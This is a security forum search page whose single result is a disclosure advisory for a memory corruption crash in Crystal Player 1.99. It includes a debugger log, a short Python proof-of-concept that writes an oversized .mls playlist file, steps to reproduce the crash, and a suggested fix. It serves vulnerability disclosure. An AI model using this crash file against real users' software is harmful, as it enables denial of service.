Jump to content

Search the Community

Showing results for tags 'empty'.



More search options

  • Search By Tags

    Type tags separated by commas.
  • Search By Author

Content Type


Forums

  • Informatii generale
    • Anunturi importante
    • Bine ai venit
    • Proiecte RST
  • Sectiunea tehnica
    • Exploituri
    • Challenges
    • Bug Bounty
    • Programare
    • Reverse engineering & exploit development
    • Mobile phones
    • Sisteme de operare si discutii hardware
    • Electronica
    • Wireless Pentesting
    • Black SEO & monetizare
  • Tutoriale
    • Tutoriale in romana
    • Tutoriale in engleza
    • Tutoriale video
  • Programe
    • Programe hacking
    • Programe securitate
    • Programe utile
    • Free stuff
  • Discutii generale
    • RST Market
    • Off-topic
    • Discutii incepatori
    • Stiri securitate
    • Sugestii
    • Linkuri
    • Cosul de gunoi
  • Club Test's Topics
  • Clubul saraciei absolute's Topics
  • Chernobyl Hackers's Topics
  • Programming & Fun's Jokes / Funny pictures (programming related!)
  • Programming & Fun's Programming
  • Programming & Fun's Programming challenges
  • Bani pă net's Topics
  • Cumparaturi online's Topics
  • Web Development's Forum
  • 3D Print's Topics

Categories

There are no results to display.

There are no results to display.

Blogs

There are no results to display.

There are no results to display.


Find results in...

Find results that contain...


Date Created

  • Start

    End


Last Updated

  • Start

    End


Filter by number of...

Joined

  • Start

    End


Group


AIM


MSN


Website URL


ICQ


Yahoo


Jabber


Skype


Location


Interests


Biography


Location


Interests


Occupation

Found 1 result

  1. Document Title: =============== Crystal Player 1.99 - Memory Corruption Vulnerability Date: ============= 21/01/2015 Vendor Homepage: ================ http://www.crystalreality.com/ Abstract Advisory Information: ============================== Memory Corruption Vulnerability on Crystal Player 1.99. Affected Product(s): ==================== Crystal Player 1.99 Exploitation Technique: ======================= Local Severity Level: =============== Medium Technical Details & Description: ================================ A Memory Corruption Vulnerability is detected on Crystal Player 1.99. An attacker can crash the software by using .mls file. Attackers can crash the software local by user inter action over mls (playlist). --- DEBUG LOG --- ///registers EAX 00000000 ECX 0006FE24 EDX 0006FE24 EBX 0013014C ESP 0006F300 EBP 00060041 ESI 00FF4A00 EDI 00000001 EIP 0040F933 Crystal.0040F933 C 0 ES 0023 32bit 0(FFFFFFFF) P 1 CS 001B 32bit 0(FFFFFFFF) A 1 SS 0023 32bit 0(FFFFFFFF) Z 0 DS 0023 32bit 0(FFFFFFFF) S 1 FS 003B 32bit 7FFDE000(FFF) T 0 GS 0000 NULL D 0 O 0 LastErr ERROR_NOT_ENOUGH_MEMORY (00000008) EFL 00010296 (NO,NB,NE,A,S,PE,L,LE) ST0 empty ST1 empty ST2 empty ST3 empty ST4 empty ST5 empty ST6 empty ST7 empty 3 2 1 0 E S P U O Z D I FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT) FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1 --- ERROR LOG --- Crystal+0xf933: 0040f933 8b5510 mov edx,dword ptr [ebp+10h] ss:0023:00060051=???????? 00060051 doesnt exist in the program aka not allowed .. so memcopy fails... EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 0040f933 (Crystal+0xf933) Access violation when reading [00060051] Proof of Concept (PoC): ======================= This vulnerabilities can be exploited by local attackers with userinteraction ... #!/usr/bin/python buffer = "A"*30000 filename = "Crash"+".mls" file = open(filename, 'w') file.write(buffer) file.close() print "[] Successfully MLS Created []" How to perform: ======================= 1) Open Immunity Debugger and attach Crystal Player 1.99 2) Run it, Now move .mls file that we generated by our python script to the player 3) Once again you have to move the same file in Crystal Player 1.99 for adding second playlist. When you perform above steps so application will crash. Analyze it on Immunity. Solution - Fix & Patch: ======================= Restrict working maximum size & set a own exception-handling for over-sized requests. Security Risk: ============== The security risk of the vulnerability is estimated as medium because of the local crash method. Authors: ================== Kapil Soni (Haxinos) Source
×
×
  • Create New...